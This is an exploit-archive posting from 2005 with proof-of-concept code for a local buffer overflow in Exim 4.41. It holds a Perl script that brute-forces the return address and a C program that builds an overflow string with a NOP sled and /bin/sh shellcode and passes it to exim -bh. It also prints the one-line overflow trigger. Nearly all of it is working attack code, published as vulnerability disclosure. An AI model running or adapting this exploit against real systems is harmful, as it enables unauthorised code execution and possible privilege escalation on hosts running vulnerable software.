exploit the possibilities

exim.pl.txt

exim.pl.txt
Posted Jan 16, 2005
Authored by Rafael San Miguel Carrasco | Site dvc.es

Proof of concept exploit for the locally exploitable buffer overflow in Exim version 4.41.

tags | exploit, overflow, proof of concept
MD5 | aa9545a6aeb06b9e4cd8c085f6770585

exim.pl.txt

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This proof-of-concept demonstrates the existence of the vulnerability
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
In this report it was explained that a sequence like the one below did
overflowed some internal buffer:

/usr/bin/exim -bh ::%A`perl -e 'print pack('L',0xdeadbeef) x 256'`

It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

---------
fb.pl:
---------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
$hex = sprintf ("0x%x", $cnt);
$res = system ("./exploit $hex");
printf "$hex : $res\n";
$cnt += 4;
}

---------
exploit.c:
---------

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";

char buffer [TAMBUF + 1];
char cadena [TAMBUF + 5];
int cont;
unsigned long ret = strtoul (argv[1], NULL, 16);

for (cont = 0; cont < TAMBUF / 4; cont++)
*( (long *) buffer + cont) = ret;

for (cont = 0; cont < strlen (shellcode); cont++)
buffer [cont + INIC_SH] = shellcode [cont];

for (cont = 0; cont < INIC_SH; cont++)
buffer [cont] = NOP;

buffer [TAMBUF] = 0;
printf ("RET = 0x%x\n", ret);
strcpy (cadena, "::%A");
strcat (cadena, buffer);
execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
}


-------------------------------
Rafael San Miguel Carrasco
Consultor Técnico - Jefe de Proyecto
rafael.sanmiguel@dvc.es
+ 34 660 856 647
+ 34 902 464 546
Davinci Consulting - www.dvc.es
Oficina Madrid - Parque empresarial Alvento
Via de los Poblados 1 Edificio A 6ª planta
28033 Madrid
-------------------------------


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